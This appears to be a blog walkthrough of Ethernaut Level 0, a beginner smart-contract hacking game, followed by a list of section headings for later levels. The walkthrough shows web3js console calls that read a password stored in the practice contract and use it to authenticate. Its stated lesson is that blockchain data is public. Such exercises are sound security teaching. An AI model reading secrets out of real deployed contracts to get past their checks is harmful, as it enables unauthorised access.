Once a new instance of the level is created on the blockchain, an address is returned to your web client through an event emitted by the main contract game, Ethernaut.sol:

// This is a fragment of the contract

event LevelInstanceCreatedLog(
    address indexed player,
    address indexed instance,
    address indexed level
);

function createLevelInstance(Level _level) public payable {
    // Ensure level is registered.
    require(registeredLevels[address(_level)], "This level doesn't exists");

    // Get level factory to create an instance.
    address instance = _level.createInstance{value: msg.value}(msg.sender);

    // Store emitted instance relationship with player and level.
    emittedInstances[instance] = EmittedInstanceData(
        msg.sender,
        _level,
        false
    );

    statistics.createNewInstance(instance, address(_level), msg.sender);

    // Retrieve created instance via logs.
    emit LevelInstanceCreatedLog(msg.sender, instance, address(_level));
}

Finally, with the help of web3js an ABI is wrapped around the new contract instance that will allow you to easily interact with it using the console in your developer tools.

Also is important to mention the game provides a series of custom web3 add-ons, some of them will be useful to solve the challenges.

Challenge Walkthrough 🚶🏽‍♀️🚶🏽

This a introductory challenge, its main objective is to help us get related with the UI and how to interact with a contract using web3js and the ABI.

Let's solve this challenge:

Request a new instance of this level, send the transaction and wait for it to be mined so you to get a Intance address for this leven.
Open your developer tools, type contract and press enter. This will print the recently deployed contract to the console. This contract object contains an abi with all the methods we can call.
Type await contract.info(), this will return:

'You will find what you need in info1().'

Let's follow the new instruction by calling the info1() method, type await contract.info1(), now you will get:

'Try info2(), but with "hello" as a parameter.'

This time it is a little different, now we have to call the method with a parameter like this await contract.info2("hello") and it will return:

'The property infoNum holds the number of the next info method to call.'

If you call the infoNum method it will return an object. The information we required is in the first element of the words property. We can access this value more easily with this syntax (await contract.infoNum()).words[0].
The previous contract call returned "42". This is a clue to help us determine the next method we need to call. If we inspect the ABI of the contract again, we will see a info42 method. This is the method we have to call next.
Type await contract.info42() and you will see in the console:

'theMethodName is the name of the next method.'

Call await contract.theMethodName(), it will return:

'The method name is method7123949.'

After calling await contract.method7123949(), the contract will return this message:

'If you know the password, submit it to authenticate().'

We have to call the authenticate method with a password, but we don't know it yet. Luckily for us and not for the dev who wrote this contract, the password is stored in the contract (big mistake). To read the password type password = await contract.password():

// this is the password:
'ethernaut0'

Finally type await contract.authenticate(password) and press enter. Metamask will pop-up, send the transaction and wait for it to be mined to get a transaction receipt.
Submit the instance to complete this level.

Uf! 😩 those were a lot of contract calls, but it wasn't so terrible right?

Conclusion ✔️

After clearing this level you will see Instance.sol with the code you just interacted with. The methods of this contract acted as breadcrumbs that we follow to discover the password to clear this level.

Data in the blockchain is public and everybody can see it. Storing sensitive data in a blockchain is a huge mistake.

DEV Community: pacelliv

Ethernaut - Lvl 10: Reentrancy

Requirements: Basic knowledge of Solidity smart contracts and Remix IDE.

The challenge 🤼‍♀️🤼

Inspecting the contract 🔎🔍

Reentrancy 🔄

Draining Reentrance 😈

Conclusion 💯

Further reading 👀

Ethernaut - Lvl 9: King

Requirements: basic knowledged of smart contracts, Remix IDE.

The challenge 📄

Studying King.sol 👩‍🏫👨‍🏫

The Hack 💣💣

Conclusion 📓📔

Further reading 🔍🔎

Ethernaut - Lvl 8: Vault

The Challenge:

Inspecting the contract 👓

The hack 👩‍🏭👨‍🏭

Conclusion 👩‍🎓👨‍🎓

Further reading 👀

Ethernaut - Lvl 7: Force

The Challenge 🤸🤸‍♂️

Increasing the balance 📈

Conclusion ☑️

Further reading 🤖

Ethernaut - Lvl 6: Delegation

Requirements: understanding of delegatecall, fallback special function and methods ID.

The challenge 🤼‍♀️🤼

Inspecting the contracts 🔎🔍

Delegatecall and Fallback ☎️▶️

The hack 🌌

Conclusion 💯

Further reading 👀

Ethernaut - Lvl 5: Token

Requirement: basic smart contract knowledge.

The challenge 🥊

Studying the contract 📝

Underflow and overflow 🧮

Breaking the contract 💣🧨

Conclusion ✅

Futher reading 🗞📰

Ethernaut - Lvl 4: Telephone

Requirement: understand the difference between msg.sender and tx.origin.

The challenge 🚣‍♀️🚣

Contract overview 🔎

Who are tx.origin and msg.sender? 📞☎️

Claiming ownership of Telephone.sol 👸🤴

Conclusion ⭐️

Further reading 📕📗

Ethernaut - Lvl 3: Coin Flip

Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain.

How Ethereum generates randomness? 🤔🤯

The Challenge 🏊‍♀️🏊

Studying the contract 👨‍🏫👩‍🏫

Breaking the game 😈

Conclusion 🧑‍🎓

Further reading 📘📙

Ethernaut - Lvl 2: Fallout

Requirements: basic understanding of constructors in Solidity.

The challenge 📄

Studying Fallout.sol 👩‍🏫👨‍🏫

Hacking Fallout.sol 💣💣

Conclusion ⚡️

Further reading 🧟‍♀️🧟

Ethernaut - Lvl 1: Fallback

Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js.

The contract 📑

Inspecting the contract 🕵️‍♀️🕵️

Hacking Fallback.sol 👩‍💻👨‍💻

Conclusion ✔️

Further reading 📚

Ethernaut - Lvl 0: Hello Ethernaut

Requirements: basic smart contracts knowledge.

Intro 👋👋

How does Ethernaut works? ⚙️

Challenge Walkthrough 🚶🏽‍♀️🚶🏽

Conclusion ✔️

Further reading 📚

Draining `Reentrance` 😈

Studying `King.sol` 👩‍🏫👨‍🏫

Requirement: understand the difference between `msg.sender` and `tx.origin`.

Who are `tx.origin` and `msg.sender`? 📞☎️

Claiming ownership of `Telephone.sol` 👸🤴

Studying `Fallout.sol` 👩‍🏫👨‍🏫

Hacking `Fallout.sol` 💣💣

Hacking `Fallback.sol` 👩‍💻👨‍💻